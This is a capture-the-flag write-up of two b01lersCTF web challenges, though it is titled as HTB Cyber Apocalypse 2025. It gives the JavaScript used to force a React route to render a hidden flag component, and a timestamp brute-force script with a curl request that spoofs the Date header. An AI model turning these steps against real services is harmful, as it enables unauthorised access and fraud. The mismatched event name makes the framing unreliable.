HTB Cyber Apocalypse 2025 CTF - Web Challenges
Write-up for Web Challenges of the HTB - Cyber Apocalypse 2025 CTF
Hey security enthusiasts today I’m sharing my journey through two fascinating web challenges from the recent b01lersCTF competition. I participated with my team “418s”.
I’ll be walking you through two particularly interesting challenges - one that delves into React routing vulnerabilities and another that exploits timestamp-based authentication. Let’s get started!
Challenge Name: “Routing Nightmares”
Description: “Our new startup’s routing system keeps giving us headaches! We’ve implemented all the modern frameworks, but something’s just not working right. Can you help us reach our secret endpoint?”
When I first accessed the challenge at the provided URL, I was presented with a standard landing page. Looking at the page source and developer tools, I discovered this was a React application using client-side routing.
The key files in the application were:
App.tsx
for the main contentFlag.tsx
for the component that would display our prizeThe router configuration showed that the flag component should be accessible at the /flag
path:
<BrowserRouter>
<Routes>
<Route index element={<App />} />
<Route path="/flag" element={<Flag />} />
</Routes>
</BrowserRouter>
However, navigating directly to /flag
resulted in a 404 error. This was our first clue.
After studying React’s client-side routing behavior, I realized the issue: the site was hosted on GitHub Pages, which doesn’t natively support client-side routing. When requesting /flag
directly, the server looks for an actual file at that path rather than letting React handle the routing.
The component containing the flag was still loaded into the client’s browser as part of the JavaScript bundle - we just needed to trigger the client-side router to display it!
The solution was to manipulate the browser’s history state and force React Router to render our desired component:
// Modifying browser history to point to flag path
window.history.replaceState(null, document.title, '/flag');
// Triggering React Router's route handler
const navEvent = new Event('popstate');
window.dispatchEvent(navEvent);
Flag: bctf{r3wr1t1ng_h1st0ry_1b07a3768fc}
This exploit works because of how single-page applications (SPAs) handle routing:
Challenge Name: “Luck of the Draw”
Description: A gambling application where timing is everything.
This challenge presented a simple gambling application. The server would determine if you won based on a timestamp hash:
Here’s the key server-side code:
app.post('/gamble', (req, res) => {
const time = req.headers.date ? new Date(req.headers.date) : new Date()
const number = Math.floor(time.getTime() / 1000)
// Hash the timestamp and check first two bytes
gamble(number).then(data => {
const bytes = new Uint8Array(data)
if (bytes[0] == 255 && bytes[1] == 255) {
res.send({
success: true,
result: "1111111111111111",
flag: "bctf{actual_flag_here}"
})
} else {
// Return failure response
}
})
});
The vulnerability is obvious: the server accepts and uses a custom Date header from the client instead of always using server time.
I created a more optimized brute-force script to find a winning timestamp:
const { createHash } = require('crypto');
// Function to check if a timestamp produces the winning hash
function checkTimestamp(unix_time) {
// Convert to string for hashing
const timeStr = unix_time.toString();
// Generate SHA-256 hash
const hash = createHash('sha256').update(timeStr).digest();
// Check if first two bytes are both 255 (0xFF)
return hash[0] === 255 && hash[1] === 255;
}
// Main function to search for winning timestamps
async function findWinningTimestamps(count = 1) {
console.log(`Searching for ${count} winning timestamp(s)...`);
// Start from current time
let currentTime = Math.floor(Date.now() / 1000);
const winners = [];
// Search in batches for better performance
while (winners.length < count) {
// Check current timestamp
if (checkTimestamp(currentTime)) {
const readableDate = new Date(currentTime * 1000).toUTCString();
winners.push({ timestamp: currentTime, date: readableDate });
console.log(`Found winning timestamp: ${readableDate}`);
}
// Move to next timestamp
currentTime -= 1;
// Progress indicator every million checks
if (currentTime % 1000000 === 0) {
console.log(`Checked ${Date.now() / 1000 - currentTime} seconds of history...`);
}
}
return winners;
}
// Execute search
findWinningTimestamps(2).then(winners => {
console.log('Search complete. Winning timestamps:');
winners.forEach((w, i) => console.log(`${i+1}. ${w.date} (${w.timestamp})`));
});
After running this more comprehensive script, I found multiple valid timestamps. One of them was Sun, 20 Apr 2025 19:17:09 GM
, which produced the required hash pattern.
I then sent a POST request to the /gamble
endpoint with this custom Date header:
curl -X POST https://when.atreides.b01lersc.tf/gamble \
-H "Content-Type: application/json" \
-H "Date: Sun, 20 Apr 2025 19:17:09 GMT"
The server returned the flag: bctf{ninety_nine_percent_of_gamblers_gamble_81dc9bdb}
These challenges demonstrate common web application vulnerabilities:
I hope you enjoyed this walkthrough! Remember, understanding the underlying technologies is key to finding these clever exploits. Happy hacking!